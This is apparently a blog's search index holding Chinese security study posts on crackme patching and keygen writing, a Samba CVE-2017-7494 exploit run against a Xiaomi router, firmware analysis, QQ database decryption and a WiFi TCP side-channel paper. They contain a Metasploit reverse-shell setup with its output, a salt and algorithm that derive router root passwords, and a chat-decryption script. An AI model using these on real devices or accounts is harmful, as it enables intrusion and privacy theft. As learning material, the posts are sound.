Cool-Y.github.io/search.xml
2019-04-01 15:26:20 +08:00

136 lines
73 KiB
XML
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

<?xml version="1.0" encoding="utf-8"?>
<search>
<entry>
<title><![CDATA[逆向工程与软件破解]]></title>
<url>%2F2019%2F03%2F28%2F%E9%80%86%E5%90%91%E5%B7%A5%E7%A8%8B%E5%AE%9E%E9%AA%8C%2F</url>
<content type="text"><![CDATA[软件保护方式 功能限制 时间限制 运行时长限制 使用日期限制 使用次数限制 警告窗口 分析工具 静态分析工具 IDA W32Dasm lordPE Resource Hacker 动态分析工具 OllyDbg WinDbg 对抗分析技术 反静态分析技术 花指令 自修改代码技术 多态技术 变形技术 虚拟机保护技术 反动态分析技术 检测调试状态 检测用户态调试器 检测内核态调试器 其他方法父进程检测StartupInfo 结构时间差通过Trap Flag检测 发现调试器后的处理 程序自身退出 向调试器窗口发送消息使调试器退出 使调试器窗口不可用 终止调试器进程 PE文件格式基础 加壳脱壳 反调试技术反调试技术,程序用它来识别是否被调试,或者让调试器失效。为了阻止调试器的分析,当程序意识到自己被调试时,它们可能改变正常的执行路径或者修改自身程序让自己崩溃,从而增加调试时间和复杂度。 探测windows调试器 使用windows API使用Windows API函数探测调试器是否存在是最简单的反调试技术。通常防止使用API进行反调试的方法有在程序运行期间修改恶意代码使其不能调用API函数或修改返回值确保执行合适的路径还有挂钩这些函数。常用来探测调试器的API函数有IsDebuggerPresent CheckRemoteDebuggerPresent NtQueryInformationProcess OutputDebuggString 手动检测数据结构程序编写者经常手动执行与这些API功能相同的操作 检查BeingDebugged属性 检测ProcessHeap属性 检测NTGlobalFlag 系统痕迹检测通常我们使用调试工具来分析程序但这些工具会在系统中驻留一些痕迹。程序通过搜索这种系统的痕迹来确定你是否试图分析它。例如查找调试器引用的注册表项。同时程序也可以查找系统的文件和目录查找当前内存的痕迹或者查看当前进程列表更普遍的做法是通过FindWindows来查找调试器。识别调试器的行为在逆向工程中可以使用断点或单步调试来帮助分析但执行这些操作时会修改进程中的代码。因此可以使用几种反调试技术探测INT扫描、完整性校验以及时钟检测等几种类型的调试器行为。 INT扫描调试器设置断点的基本机制是用软件中断INT 3机器码为0xCC临时替换程序中的一条指令。因此可以通过扫描INT 3修改来检测。 执行代码校验和检查与INT扫描目的相同但仅执行机器码的CRC或MD5校验和检查。 时钟检测被调试时进程的运行速度大大降低常用指令有rdstc QueryPerformanceCounter GetTickCount,有如下两种方式探测时钟: 记录执行一段操作前后的时间戳 记录触发一个异常前后的时间戳干扰调试器的功能本地存储(TLS)回调TLS回调被用来在程序入口点执行之前运行代码这发生在程序刚被加载到调试器时使用异常使用SEH链可以实现异常程序可以使用异常来破坏或探测调试器调试器捕获异常后并不会将处理权立即返回给被调试进程。插入中断插入INT 3、INT 2D、ICE调试器漏洞PE头漏洞、OutputDebugString漏洞 实验一软件破解对象crack.exe28.0 KB 无保护措施:无壳、未加密、无反调试措施 用户名至少要5个字节 输入错误验证码时输出“Bad Boy!” 爆破查找显示注册结果相关代码当输入错误验证码时程序会输出“Bad Boy”因此我们将程序拖入IDA以流程图显示函数内部的跳转。查找“Bad Boy”字符串我们可以定位到显示注册结果的相关代码 查找注册码验证相关代码用鼠标选中程序分支点,按空格切换回汇编指令界面 可以看到这条指令位于PE文件的.text节并且IDA已经自动将地址转换为运行时的内存地址VA:004010F9 修改程序跳转 现在关闭IDA换用OllyDbg进行动态调试来看看程序时如何分支跳转的Ctrl+G直接跳到由IDA得到的VA:004010F9处查看那条引起程序分支的关键指令 选中这条指令按F2设置断点再按F9运行程序这时候控制权会回到程序OllyDbg暂时挂起。到程序提示输入名字和序列号随意输入名字大于五个字节点击ok后OllyDbg会重新中断程序收回控制权如图 验证函数的返回值存于EAX寄存器中if语句通过以下两条指令执行 12cmp eax,ecxjnz xxxxxxx 也就是说当序列号输入错误时EAX中的值为0跳转将被执行。如果我们把jnz这条指令修改为jz那么整个程序的逻辑就会反过来。双击jnz这条指令将其改为jz单击”汇编”将其写入内存可以看到此时程序执行了相反的路径 上面只是在内存中修改程序我们还需要在二进制文件中也修改相应的字节这里考察VA与文件地址之间的关系 用LordPE打开.exe文件查看PE文件的节信息根据VA与文件地址的换算公式123文件偏移地址 = VA - Image Base - 节偏移 = 0x004010F9 - 0x00400000 - 0 = 0x10F9 也就是说这条指令在PE文件中位于10F9字节处使用010Editer打开crack.exe将这一字节的75(JNZ)`改为74(JZ)`,保存后重新执行,破解成功! 编写注册机查找显示注册结果相关代码通过查找字符串“good boy”等我们可以找到显示注册结果的相关代码 查找注册码验证相关代码因为检测密钥是否正确时会将结果返回到EAX寄存器中因此在检测密钥前必然会对EAX寄存器清空由此我们可以找到注册码验证的相关代码。 根据注册码验证代码编写注册机分析上图算法按tab键转换为高级语言1234for ( i = 0; i &lt; v6; v12 = v10 ) v10 = (v6 + v12) * lpStringa[i++];if ( (v12 ^ 0xA9F9FA) == atoi(v15) ) MessageBoxA(hDlg, aTerimaKasihKer, aGoodBoy, 0); 可以看出生成注册码主要在for循环中完成之后将生成的注册码与输入相比较判断是否正确。所以只要能弄明白v6v12v10v15的含义我们就可以轻松的编写注册机。打开ollybdg在进入循环之前设下断点动态调试程序12345678004010CC |&gt; /8B4D 10 |mov ecx,[arg.3] //此时ecx为name004010CF |. 8B55 0C |mov edx,[arg.2] //edx为0x1908004010D2 |. 03D3 |add edx,ebx //edx加上name的长度ebx004010D4 |. 0FBE0C08 |movsx ecx,byte ptr ds:[eax+ecx] //ecx=61h004010D8 |. 0FAFCA |imul ecx,edx //61h(a) * edx004010DB |. 40 |inc eax //eax加1初始为0004010DC |. 894D 0C |mov [arg.2],ecx004010DF |. 3BC3 |cmp eax,ebx //循环是否结束 arg.3为输入的namearg.2初始为0x1908ebx为name的长度eax每次循环加1直到等于长度因此我们可以对参数的含义进行解释如下1234567891011v12 = 6408; //0x1908v10 = 6408; //0x1908v6 = len(name);v12 = input_serial;for ( i = 0; i &lt; v6; i++ )&#123; v12 = v10 v10 = (v6 + v12) * lpStringa[i];&#125;if ((v12 ^ 0xA9F9FA) == atoi(v15))&#123; MessageBoxA(hDlg, aTerimaKasihKer, aGoodBoy, 0);&#125; 可见v12^0xA9F9FA的结果即是正确的注册码我们编写一个简单的程序帮助我们生成注册码123456789101112131415161718#include &lt;iostream&gt;#include&lt;stdio.h&gt;using namespace::std;int main()&#123; int v12; int v10 = 6408; //0x1908 string name; cout &lt;&lt; &quot;请输入name: &quot;; cin &gt;&gt; name; int len = name.size(); for(int i = 0; i &lt; len+1; i++ )&#123; v12 = v10; v10 = (len + v12) * name[i]; &#125; cout&lt;&lt;&quot;\n&quot;&lt;&lt;&quot;注册码为: &quot;&lt;&lt;(v12 ^ 0xA9F9FA)&lt;&lt;endl; return 0;&#125; 计算出”testname”的对应注册码注册成功 实验二软件反动态调试技术分析对象CrackMe1.exe 1641.0 KB无保护措施无壳、未加密、无反调试措施使用OllyDbg对该程序进行调试时程序会自动退出 要求 分析CrackMe1.exe是如何通过父进程检测实现反OllyDbg调试的 分析除父进程检测外,该程序用到的反动态调试技术 实验三加花加密反调试技术分析对象CrackMe2.exe 9.00 KB保护措施部分加花、部分加密、简单反调试根据(提示)[https://res.cloudinary.com/dozyfkbg3/raw/upload/v1553779403/%E8%BD%AF%E4%BB%B6%E7%A0%B4%E8%A7%A3/Crackme2%E6%8F%90%E7%A4%BA.docx]分析该程序 内容 加壳脱壳深入理解 尝试手动脱壳 分析CrackMe2.exe中花指令 分析CrackMe2.exe中的被加密的函数的功能 分析CrackMe2.exe中的反调试手段 分析CrackMe2.exe中混合的64位代码的功能]]></content>
<categories>
<category>二进制</category>
</categories>
<tags>
<tag>逆向</tag>
<tag>破解</tag>
</tags>
</entry>
<entry>
<title><![CDATA[小米路由器与Samba漏洞CVE-2017-7494]]></title>
<url>%2F2019%2F03%2F25%2FSamba-CVE%2F</url>
<content type="text"><![CDATA[小米路由器与Samba漏洞CVE-2017-7494漏洞描述Samba服务器软件存在远程执行代码漏洞。攻击者可以利用客户端将指定库文件上传到具有可写权限的共享目录会导致服务器加载并执行指定的库文件。具体执行条件如下 服务器打开了文件/打印机共享端口445让其能够在公网上访问 共享文件拥有写入权限 恶意攻击者需猜解Samba服务端共享目录的物理路径 Samba介绍Samba是在Linux和Unix系统上实现SMB协议的一个免费软件由服务器及客户端程序构成。SMBServer Messages Block信息服务块是一种在局域网上共享文件和打印机的一种通信协议它为局域网内的不同计算机之间提供文件及打印机等资源的共享服务。 SMB协议是客户机/服务器型协议客户机通过该协议可以访问服务器上的共享文件系统、打印机及其他资源。通过设置“NetBIOS over TCP/IP”使得Samba不但能与局域网络主机分享资源还能与全世界的电脑分享资源。 漏洞成因处于\source3\rpc_server\src_pipe.c的is_known_pipename()函数未对传进来的管道名pipename的路径分隔符/进行识别过滤导致可以用绝对路径调用恶意的so文件从而远程任意代码执行。首先看到is_known_pipename()函数 跟进到smb_probe_module() 再跟进到do_smb_load_module(),发现调用的过程就在其中,调用了传进来的moudule_name对应的init_samba_module函数 我们可以通过smb服务上传一个恶意的so文件该文件包含一个输出函数init_samba_module随后通过上述过程进行调用执行任意代码。 漏洞复现小米路由器123456netstat -apnttcp 0 0 192.168.31.1:445 0.0.0.0:* LISTEN 0 572 1917/smbdnmap 192.168.31.1139/tcp open netbios-ssn445/tcp open microsoft-ds 端口已开启12345678910111213141516171819202122232425262728293031323334353637383940414243444546vim /etc/samba/smb.conf deadtime = 30 domain master = yes encrypt passwords = true enable core files = no guest account = nobody guest ok = yes invalid users = local master = yes load printers = no map to guest = Bad User min receivefile size = 16384 null passwords = yes obey pam restrictions = yes passdb backend = smbpasswd preferred master = yes printable = no smb encrypt = disabled smb passwd file = /etc/samba/smbpasswd socket options = SO_SNDBUFFORCE=1048576 SO_RCVBUFFORCE=1048576 smb2 max trans = 1048576 smb2 max write = 1048576 smb2 max read = 1048576 write cache size = 262144 syslog = 2 syslog only = yes use sendfile = yes writeable = yes log level = 1 unicode = True max log size = 500 log file = /tmp/log/samba.log server role = STANDALONE[homes] comment = Home Directories browsable = no read only = no create mode = 0750[data] ***SMB_SHARE_NAME*** path = /tmp ***SMB_FOLDER*** read only = no ***具备可写权限*** guest ok = yes ***允许匿名*** create mask = 0777 directory mask = 0777 具有可写权限、目录为/tmp 攻击使用metasploit设置攻击参数靶机是小米路由器R3它的系统为mips架构但是这个库好像对它的支持不是很好12345678910111213141516171819202122232425show optionsModule options (exploit/linux/samba/is_known_pipename): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS 192.168.31.1 yes The target address range or CIDR identifier RPORT 445 yes The SMB service port (TCP) SMB_FOLDER no The directory to use within the writeable SMB share SMB_SHARE_NAME no The name of the SMB share containing a writeable directoryPayload options (generic/shell_reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.216.129 yes The listen address (an interface may be specified) LPORT 4444 yes The listen portExploit target: Id Name -- ---- 7 Linux MIPSLE 执行攻击123456789101112exploit[*] Started reverse TCP handler on 192.168.216.129:4444[*] 192.168.31.1:445 - Using location \\192.168.31.1\data\ for the path[*] 192.168.31.1:445 - Retrieving the remote path of the share &apos;data&apos;[*] 192.168.31.1:445 - Share &apos;data&apos; has server-side path &apos;/tmp[*] 192.168.31.1:445 - Uploaded payload to \\192.168.31.1\data\KcQiOcbk.so[*] 192.168.31.1:445 - Loading the payload from server-side path /tmp/KcQiOcbk.so using \\PIPE\/tmp/KcQiOcbk.so...[-] 192.168.31.1:445 - &gt;&gt; Failed to load STATUS_OBJECT_NAME_NOT_FOUND[*] 192.168.31.1:445 - Loading the payload from server-side path /tmp/KcQiOcbk.so using /tmp/KcQiOcbk.so...[-] 192.168.31.1:445 - &gt;&gt; Failed to load STATUS_OBJECT_NAME_NOT_FOUND[*] Exploit completed, but no session was created. 虽然报错,但是查看共享文件夹/tmp却发现了生成了.so文件知乎这篇专栏也有相同问题 分析POC查找原因(来自Wzblog) 建立SMB连接。若需要账号密码登录则必须登录后才能继续从微软上扒的SMB协议建立时序图 对应POC: 利用NetShareEnumAll遍历目标服务器的共享名(ShareName)以及获取对应的共享文件夹下的可写路径(Path) 其中find_writeable_path()函数需要跟进看一下: 再跟进看enumerate_directories()以及verify_writeable_directory函数 可以看到代码逻辑很清楚首先遍历出当前路径所有的文件夹然后尝试往里面写一个随机的txt文件用作可写测试随后删除掉txt文件记录下可写的文件路径。至此我们得到了一个共享名(即本例中的data)以及其当前路径下的可写目录(/tmp) 利用NetShareGetInfo获取共享文件夹的绝对路径(SharePath)至此获取到了共享名data的绝对路径。值得注意的是这里跟早期的Payload不一样早期的payload是靠暴力猜解目录所以跟一些分析文章有些出入。现在的Payload是根据NetShareGetInfo直接获取到准确的路径极大地提高了攻击的成功率。 上传恶意so文件其中写入的so文件是Metasploit生成的反弹shell很简单的执行一句命令。有一点需要注意的是里面的函数名必须是samba_init_module并且是一个导出函数这个原因上述的漏洞分析也有提及。 调用恶意文件并执行echo命令打印随机字符串检验是否调用成功利用从第2步获取到的可写文件目录(Path)以及从第3步得到的共享文件绝对路径(SharePath)构造恶意管道名\PIPE\/SharePath/Path/Evil.so然后通过SMB_COM_NT_CREATE_ANDX进行调用。在复现时调用恶意so文件总会失败产生Error Code为STATUS_OBJECT_NAME_NOT_FOUND的错误。尚未能明白为什么会出现这种首次失败的情况也许要详细看看smb协议才能知道了。POC代码将STATUS_OBJECT_PATH_INVALID作为我们payload被加载的标志随后就是用NBSS协议进行了一次远程代码执行的测试执行代码为echo随机字符串。 删除恶意so文件断开smb连接 由msf给出的poc过程可见对小米路由器的攻击在第五步出现问题因此出现Failed to load STATUS_OBJECT_NAME_NOT_FOUND]]></content>
<categories>
<category>IOT</category>
</categories>
<tags>
<tag>Samba</tag>
<tag>远程执行</tag>
<tag>CVE</tag>
</tags>
</entry>
<entry>
<title><![CDATA[利用itchat定时转发微信消息]]></title>
<url>%2F2019%2F03%2F23%2Fauto-send-WX%2F</url>
<content type="text"><![CDATA[我们实验室有个光荣传统每天早上起床叫醒我的不是闹钟而是群里雷打不动的安全新闻其实我免提醒了2333而这个发送新闻的人一代一代的传承我没想到竟然有一天会落在我头上哭了o(╥﹏╥)o为了不暴露我的起床时间同时能保质保量的完成任务我决定做个机器人帮我完成。这就是这片po文的由来啦 大杀器itchatintroduction先来一段itchat的官方介绍吧 itchat是一个开源的微信个人号接口使用python调用微信从未如此简单。使用不到三十行的代码你就可以完成一个能够处理所有信息的微信机器人。当然该api的使用远不止一个机器人更多的功能等着你来发现比如这些。该接口与公众号接口itchatmp共享类似的操作方式学习一次掌握两个工具。如今微信已经成为了个人社交的很大一部分希望这个项目能够帮助你扩展你的个人的微信号、方便自己的生活。 实际上itchat是对微信网页端的爬虫所以网页端可以实现的功能都有那么我想要的定时群发微信消息自然不在话下 初步尝试 安装 1pip install itchat 一个简单实例:实现给文件传输助手发送消息 123import itchatitchat.auto_login()itchat.send(&apos;Hello, filehelper&apos;, toUserName=&apos;filehelper&apos;) 实现定时转发这个的实现需要注册msg_register,逻辑很简单当收到指定群里的指定消息时将消息转发到另一个群。12345678910111213141516171819202122232425262728293031323334353637383940import itchatfrom datetime import datetimeimport timeimport reimport threadingfrom itchat.content import TEXTfrom itchat.content import *from apscheduler.schedulers.blocking import BlockingScheduler@itchat.msg_register([TEXT], isFriendChat=True, isGroupChat=True, isMpChat=True)def getContent(msg): global g_msg groups = itchat.get_chatrooms(update = True) for g in groups: #print(g[&apos;NickName&apos;]) if g[&apos;NickName&apos;] == &apos;被转发的群名&apos;: from_group = g[&apos;UserName&apos;] if &apos;每日安全简讯&apos; in msg[&apos;Content&apos;]: print(&quot;get message from &quot; + msg[&apos;FromUserName&apos;]) if msg[&apos;FromUserName&apos;] == from_group: g_msg = msg[&apos;Content&apos;] print(&apos;成功获得群消息,等待转发&apos;) print(int(time.strftime(&quot;%H%M%S&quot;))) while(1): if int(time.strftime(&quot;%H%M%S&quot;)) &gt; 80000: SendMessage(g_msg,&apos;发送的对象群名&apos;) g_msg = &apos;&apos; breakdef SendMessage(context,gname): itchat.get_chatrooms(update = True) users = itchat.search_chatrooms(name=gname) userName = users[0][&apos;UserName&apos;] itchat.send_msg(context,toUserName=userName) print(&quot;\n发送时间: &quot; + datetime.now().strftime(&quot;%Y-%m-%d %H:%M:%S&quot;) + &quot;\n&quot; &quot;发送到:&quot; + gname + &quot;\n&quot; + &quot;发送内容:&quot; + context + &quot;\n&quot;) print(&quot;*********************************************************************************&quot;)if __name__ == &apos;__main__&apos;: itchat.auto_login(hotReload=True,enableCmdQR=2) itchat.run(blockThread=False) 添加周期防掉线据说每三十分钟发送一次消息可防止网页端微信掉线~~123456789101112def loop_send(): nowTime = datetime.now().strftime(&quot;%Y-%m-%d %H:%M:%S&quot;) context = &apos;现在是北京时间 :\n&apos;+ nowTime +&apos;\n\n我们还活着&apos; itchat.get_chatrooms(update = True) users = itchat.search_friends(name=u&apos;chengkun&apos;) userName = users[0][&apos;UserName&apos;] itchat.send_msg(context,toUserName=userName)if __name__ == &apos;__main__&apos;: sched = BlockingScheduler() sched.add_job(loop_send,&apos;interval&apos;,minutes=30) sched.start() 把程序放在服务器上我是在腾讯云有个服务器因为自己的电脑不可能时时刻刻开机所以就放在服务器上方法是1sudo nohup python -u auto_Send.py &gt;&gt; auto_Send.log 2&gt;&amp;1 &amp; 使用nohup可以让程序在后台运行 然后将日志输出到auto_Send.log方便我们后期出bug了排错 -u可以防止输出到python缓冲区 遇到的坑线程阻塞问题这里有两个线程一个是定时转发一个是循环发送因此要设置为itchat.run(blockThread=False)以及sched = BlockingScheduler()否则会卡在某个方法。 找不到群组这是因为users = itchat.search_chatrooms(name=gname),在搜索的是你保存到通讯录的群组。 二维码显示不全itchat.auto_login(hotReload=True,enableCmdQR=2)需要设置为2]]></content>
<categories>
<category>杂七杂八</category>
</categories>
<tags>
<tag>itchat</tag>
<tag>微信</tag>
</tags>
</entry>
<entry>
<title><![CDATA[小米固件工具mkxqimage]]></title>
<url>%2F2019%2F03%2F16%2F%E5%B0%8F%E7%B1%B3%E5%9B%BA%E4%BB%B6%E5%B7%A5%E5%85%B7mkxqimage%2F</url>
<content type="text"><![CDATA[小米固件工具mkxqimage小米自己改了个打包解包固件的工具基于 trx 改的(本质上还是 trx 格式),加了 RSA 验证和解包功能路由系统里自带1234Usage:mkxqimg [-o outfile] [-p private_key] [-f file] [-f file [-f file [-f file ]]] [-x file] [-I] 固件解包固件工具mkxqimage完成对固件的解包在解包前先检查Checksum是否正确然后利用RSA公钥/usr/share/xiaoqiang/public.pem检查RSA签名这两个步骤通过后根据[0x0C]的固件类型,以及[0x10]、[0x14]、[0x18]和[0x1C]的4个偏移量拆分固件。 固件打包小米官方在打包固件时用RSA私钥计算出固件的RSA签名小米路由器下载固件后用RSA公钥来验证RSA签名有效地防止固件被篡改。 固件格式路由固件的格式,基本是基于 openwrt 的 trx 这个简单的二进制文件格式12348 44 52 30 63 D4 11 03 FE 3D 1A FD 05 00 02 0020 00 00 00 20 00 FE 00 00 00 00 00 00 00 00 00FF 04 00 EA 14 F0 9F E5 14 F0 9F E5 14 F0 9F E5 第14字节ASCII字符串“HDR0”作为固件的标识第58字节4字节整型数0x0311D464表示固件的大小51500132字节第9~12字节固件的检查和第1314字节0x0005表示固件中包含哪些部分第1516字节0x0002表示固件格式版本号第1720字节0x00000020表示固件第一部分在整个固件中的偏移量0.4.85固件的第一部分是brcm4709_nor.bin也就是Flash中除0xfe0000-0xff0000的board_data外的全镜像第2124字节0x00FE0020表示固件第二部分在整个固件中的偏移量0.4.85固件的第二部分是root.ext4.lzma也就是硬盘中128M固件的压缩包第33字节开始是固件的正式内容开始。 小米开启ssh工具包使用mkxqimage解包现在会提示秘钥不存在12error fopen public keyImage verify failed, not formal image 如果能解包应该可以得到脚本文件upsetting.sh 1234#!/bin/shnvram set ssh_en=1nvram set flag_init_root_pwd=1nvram commit 执行脚本文件upsetting.sh后将ssh_en设置为1同时设置了flag_init_root_pwd项。当正式启动时/usr/sbin/boot_check脚本检测到flag_init_root_pwd=1时自动修改root用户密码具体脚本为1234567flg_init_pwd=`nvram get flag_init_root_pwd`if [ &quot;$flg_init_pwd&quot; = &quot;1&quot; ]; then init_pwd=`mkxqimage -I` (echo $init_pwd; sleep 1; echo $init_pwd) | passwd root nvram unset flag_init_root_pwd nvram commitfi 初始密码是mkxqimage -I的结果实际是根据路由器的序列号计算得到。路由器的序列号印在底盖上12位数字561000088888 初始密码计算算法为: substr(md5(SN+&quot;A2E371B0-B34B-48A5-8C40-A7133F3B5D88&quot;), 0, 8) A2E371B0-B34B-48A5-8C40-A7133F3B5D88 为分析mkxqimage得到的salt]]></content>
<categories>
<category>IOT</category>
</categories>
<tags>
<tag>小米</tag>
<tag>文件格式</tag>
<tag>SSH</tag>
</tags>
</entry>
<entry>
<title><![CDATA[QQ数据库的加密与解密]]></title>
<url>%2F2019%2F02%2F22%2Fqq%E6%95%B0%E6%8D%AE%E5%BA%93%E7%9A%84%E5%8A%A0%E5%AF%86%E8%A7%A3%E5%AF%86%2F</url>
<content type="text"><![CDATA[qq数据库采用简单加密——异或加密数据获取DENGTA_META.xml—IMEI:867179032952446databases/2685371834.db——数据库文件 解密方式明文msg_t 密文msg_Data keyIMEImsg_t = msg_Data[i]^IMEI[i%15] 实验123456789101112131415161718192021222324import sqlite3IMEI = &apos;867179032952446&apos;conn = sqlite3.connect(&apos;2685371834.db&apos;)c = conn.cursor()def _decrypt(foo): substr = &apos;&apos; #print(len(foo)) for i in range(0,len(foo)): substr += chr(ord(foo[i]) ^ ord(IMEI[i%15])) return substr#rem = c.execute(&quot;SELECT uin, remark, name FROM Friends&quot;)Msg = c.execute(&quot;SELECT msgData, senderuin, time FROM mr_friend_0FC9764CD248C8100C82A089152FB98B_New&quot;)for msg in Msg: uid = _decrypt(msg[1]) print(&quot;\n&quot;+uid+&quot;:&quot;) try: msgData = _decrypt(msg[0]).decode(&apos;utf-8&apos;) print(msgData) except: pass 结果]]></content>
<categories>
<category>加密解密</category>
</categories>
<tags>
<tag>密码</tag>
<tag>QQ</tag>
<tag>数据库</tag>
</tags>
</entry>
<entry>
<title><![CDATA[wifi半双工侧信道攻击学习笔记]]></title>
<url>%2F2019%2F01%2F16%2Fwifi%E5%8D%8A%E5%8F%8C%E5%B7%A5%E4%BE%A7%E4%BF%A1%E9%81%93%E6%94%BB%E5%87%BB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%2F</url>
<content type="text"><![CDATA[TCP侧信道分析及利用的学习报告论文来源USENIX SECURITY 2018Off-Path TCP Exploit: How Wireless Routers Can Jeopardize Your Secrets下载原文pdf中文slides 背景知识测信道香农信息论 什么是信息? 用来减少随机不确定的东西 什么是加密? 类似于加噪声,增加随机不确定性 “从密码分析者来看,一个保密系统几乎就是一个通信系统。待传的消息是统计事件,加密所用的密钥按概率选出,加密结果为密报,这是分析者可以利用的,类似于受扰信号。” 侧信道随之出现 越过加密算法增加的随机不定性,从其他的渠道获取数据标签,确定信息内容。 早期:采集加密电子设备在运行过程中的时间消耗、功率消耗或者电磁辐射消耗等边缘信息的差异性 而随着研究的深入逐渐从加密设备延伸到计算机内部CPU、内存等之间的信息传递 并在Web应用交互信息传递越来越频繁时延伸到了网络加密数据流的破解方面 侧信道攻击的流程 第一个就是侧信道泄露的截取,第二个是信息的恢复。 网络攻击 中间人攻击 “指攻击者与通讯的两端分别创建独立的联系,并交换其所收到的数据,使通讯的两端认为他们正在通过一个私密的连接与对方直接对话,但事实上整个会话都被攻击者完全控制。” 公共wifi、路由器劫持 一般使用加密来防御 加密的代价:维护密钥证书、影响功能(运营商无法做缓存) 非中间人攻击/偏离路径攻击/off-path attack 通信线路之外,攻击者看不到双方的消息,没办法截获和发送通信包。智能伪造成一方给另一方发消息。 攻击成功需要:消息合法+最先到达 防御措施challenge-response/询问-应答机制双方在通信前交换一个随机数,这个随机数在每次的通信中都要被附带,而中间人看不见这个随机数,因此伪造的消息被认为不合法。 攻击者如何得到这个随机数:侧信道 TCP三次握手 客户端通过向服务器端发送一个SYN来创建一个主动打开作为三路握手的一部分。客户端把这段连接的序号设定为随机数A。 服务器端应当为一个合法的SYN回送一个SYN/ACK。ACK的确认码应为A+1SYN/ACK包本身又有一个随机产生的序号B。 最后客户端再发送一个ACK。当服务端收到这个ACK的时候就完成了三路握手并进入了连接创建状态。此时包的序号被设定为收到的确认号A+1而响应号则为B+1。 通过三次握手,确定对方不是非中间人 TCP序列号的问题 1985 1995 2001 2004 2007 2012 2012 2016 Morris Mitnik Zalewsky Waston kLM Herzberg 作者 作者 初始序列可预测 真实利用 漏洞仍在 BGP DoS Windows攻击 Puppet-assisted Malware-assisted off-path attack 90年代时发现并不随机1995年伪造客户端连接微软大楼的服务器 2007年在windows场景下用IDID侧信道猜出序列号只针对Windows花费几小时 Malware-assisted攻击模型给受害者安装一个无特权的应用程序仅能网络连接这个程序跟非中间人的攻击者里应外合劫持手机上所有的TCP连接。 如何劫持TCP 需要的信息Facebook的连接IP地址和端口号由此可以知道TCP连接的序列号利用序列号伪装成Facebook给手机发消息。使用netstat命令获取 任务由于TCP的序列号通常连续所以要精确猜到它的下一个序列号。 如何验证序列号正确:通过某种侧信道,这个恶意软件在后台可以提供反馈。 变种一:防火墙攻击过程: TCP三次握手之后产生A和B将来传输的包序列号必须跟A和B很接近否则防火墙会丢弃这个包。因此只有猜对了序列号包才能到达手机端。到达手机端后后台的恶意软件可以帮助我们判断手机是否接受了这个数据包。 具体侧信道方案: CPU资源使用率噪音很大——&gt;TCP计数器后台软件运行制造噪音——&gt;低噪音计数器:包被丢掉时,一个相应的错误计数器。 解决方法: 关闭防火墙检查序列号的功能 变种二无防火墙具体侧信道方案跟TCP业务逻辑有关的计数器——收到的TCP包序列号小于期望时增加大于时不变。二分查找搜索正确的序列号。影响范围Android、Linux、MacOS、FreeBSD Pure off-path:无恶意软件协助 不植入恶意软件劫持任意两台机器的TCP连接首先确定是否建立TCP连接然后推测其序列号A和B。 Global Rate Limit USENIX 2016 : Off-Path TCP Exploits: Global Rate Limit Considered Dangerous 侧信道: 所有的侧信道本质上就是攻击者和受害者之间共享着某些资源如之前的全局TCP计数器。这里使用的侧信道是 服务器上 的共享资源限速器RFC 5961限制某一种包的发送速率默认100p/s 如何利用共享限速器先判断是否建立了连接。然后伪造TCP包需要猜测源端口如果猜测正确服务器会返回一个challenge攻击者不断触发一共可以收到99个还有一个发给了客户端如果猜测错误则一共可以收到100个challenge。 评估: 是否建立了连接:&lt;10s ; Seq30s ACK:&lt;10s 解决方案: 1. 加噪音100变成150、2002. 限速器做成局部的 Unfixable WiFi timing USENIX 2018 : Off-Path TCP Exploit: How Wireless RoutersCan Jeopardize Your Secrets之前的漏洞无论是计数器还是限速器都属于软件很好更正但这篇文章的漏洞利用无法修复。 TCP收包的原理 通常TCP收包要看这个包是否匹配了当前的某一个连接。如果连接匹配上了就会去看这个包的序列号如果序列号不对会触发一个回复说明这个序列号存在问题如果序列号正确但反向序列号不对也会丢包。当连接匹配、序列号和反向序列号正确时就会返回一个数据包。 侧信道: 攻击者伪装成服务器给客户端发包,正确的序列号会有回复,错误则没有。但回复时发送给服务器的,有没有回复攻击者并不知道。那么如何去判断有没有回复,利用无线网络的 半双工 传输。让有回包和没有回包的时间差异放大。 判断流程: 客户端和路由器之间wifi通信。攻击者依次发送三个数据包第一个包用来测试正常的RTT。第2个包是伪装成服务器发送的如果第2个包猜对了客户端会向服务器返回数据包这会导致占用更长时间的wifi信道从而会使第3个包的RTT更长。 评估: 在本地环境下如果发送40个包就有20ms的RTT差别。 攻击应用1. 攻击模型: 受害者访问了我们的钓鱼网站这时javascript傀儡会在后台执行主动建立到攻击者的连接规避NAT或防火墙造成的不可抵达问题这时攻击者就可以从外网测试RTT。 与理想情况的不同客户端通常在NAT或防火墙之后操作系统不一定严格遵守TCP收包的原则 Attacker -------wire----------| Router ---------wireless-------Victim (client) Server -------wire----------| 2. 攻击目标: 推断出客户端和服务器是否建立了连接合计连接中交换的字节数或强制中断连接注入恶意payload到连接不失一般性的关注web缓存投毒。前两个不需要傀儡初始化连接第三个不一定需要但攻击者控制了时序能够简化攻击。 3. 攻击过程: 假设傀儡已经建立了连接攻击者可以劫持并替换任何不加密的网站如武汉大学并在浏览器缓存。这是因为当浏览器请求相同的ip地址时会复用之前的TCP连接。这意味着恶意网站中的傀儡可以通过重复HTML元素来建立到目标域名的单个持久连接。然后路径外攻击者可以进行侧信道攻击以推断目标连接中使用的端口号和序列号然后注入虚假的http响应并要求浏览器不重新检查对象的新鲜度从而达到持续性的缓存投毒。 4. 细节: 连接(四元组)推断: 每一轮使用30个重复包测试一个端口如果端口号正确就会发现RTT大幅增加。如果还要完成 web缓存投毒 还需要傀儡初始化连接来协助根据系统不同有不同的端口选择算法可以优化windows&amp;macOS 使用全局和顺序端口分配策略为其TCP连接选择短暂的端口号这意味着攻击者可以在观察到与恶意Web服务器的初始连接后推断出要使用的下一个端口号这完全消除了对端口号推断的需要。NAT 端口保留不需要关心外部端口被转换成不可预知的内部端口。来自同一域名的多个IP地址这意味着攻击者需要付出更大的代价来推断端口号。 序列号推断: 通过利用时序侧信道来判断是否存在相应的响应,从而将窗口序列号与窗外序列号区分开来。一旦我们得到一个 窗口内序列号,通过进行二分搜索进一步将序列号空间缩小到单个值 